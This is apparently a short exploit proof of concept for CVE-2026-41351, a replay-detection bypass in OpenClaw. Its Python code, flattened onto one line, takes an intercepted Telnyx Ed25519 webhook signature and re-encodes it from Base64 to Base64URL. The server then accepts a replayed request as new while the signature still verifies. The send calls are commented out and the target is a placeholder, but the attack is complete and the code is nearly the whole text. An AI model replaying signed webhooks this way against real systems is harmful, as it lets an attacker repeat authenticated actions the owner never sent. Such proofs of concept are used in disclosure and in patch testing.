CVE-2026-41351 OpenClaw重放检测绕过漏洞

import base64 import requests def base64_to_base64url(b64_str): # Replace '+' with '-', '/' with '_', and remove trailing '=' b64url_str = b64_str.replace('+', '-').replace('/', '_').rstrip('=') return b64url_str # Example: Intercepted valid webhook payload and signature # Assuming the signature is Base64 encoded in the header 'Telnyx-Signature-Ed25519' target_url = "http://target-openclaw-instance/webhook endpoint" original_signature = "dGVzdHNpZ25hdHVyZWRhdGE=" headers = { "Content-Type": "application/json", "Telnyx-Signature-Ed25519": original_signature } payload = "{\"data\": \"example\"}" print(f"[+] Sending original request with signature: {original_signature}") # requests.post(target_url, json=payload, headers=headers) # Exploit: Convert Base64 to Base64URL to bypass replay detection modified_signature = base64_to_base64url(original_signature) headers["Telnyx-Signature-Ed25519"] = modified_signature print(f"[+] Sending replayed request with modified signature: {modified_signature}") # requests.post(target_url, json=payload, headers=headers) # The server treats the modified signature as a new request due to string mismatch, # but verifies it successfully because it decodes to the same bytes.